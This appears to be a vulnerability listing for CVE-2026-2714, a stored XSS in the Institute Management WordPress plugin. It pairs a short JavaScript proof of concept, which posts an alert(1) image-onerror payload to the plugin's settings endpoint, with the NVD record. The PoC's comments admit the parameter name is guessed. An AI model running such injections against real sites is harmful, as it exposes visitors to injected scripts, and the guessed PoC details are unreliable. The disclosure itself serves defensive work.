CVE-2026-2714

<!-- PoC for CVE-2026-2714: Stored XSS via Enquiry Form Title --> <!-- Prerequisites: Administrator access, unfiltered_html disabled or Multi-site --> <script> // Attacker executes this in the browser console or via a crafted payload // The vulnerable parameter is likely 'enquiry_form_title' based on the description var payload = '<img src=x onerror=alert(1)>'; fetch('/wp-admin/admin.php?page=wl_im_settings', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: 'enquiry_form_title=' + encodeURIComponent(payload) + '&action=save_settings' }).then(response => { console.log('Payload injected. Visit the page to trigger XSS.'); }); </script>

{"cve": {"id": "CVE-2026-2714", "sourceIdentifier": "[email protected]", "published": "2026-04-22T09:16:20.817", "lastModified": "2026-04-22T20:22:50.570", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Institute Management plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'Enquiry Form Title' setting in all versions up to, and including, 5.5. This is due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/institute-management/tags/5.5/admin/inc/wl_im_settings.php#L47", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/institute-management/trunk/admin/inc/wl_im_settings.php#L47", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1fd62c3d-2c15-4d1c-9210-4c2aca379fe3?source=cve", "source": "[email protected]"}]}}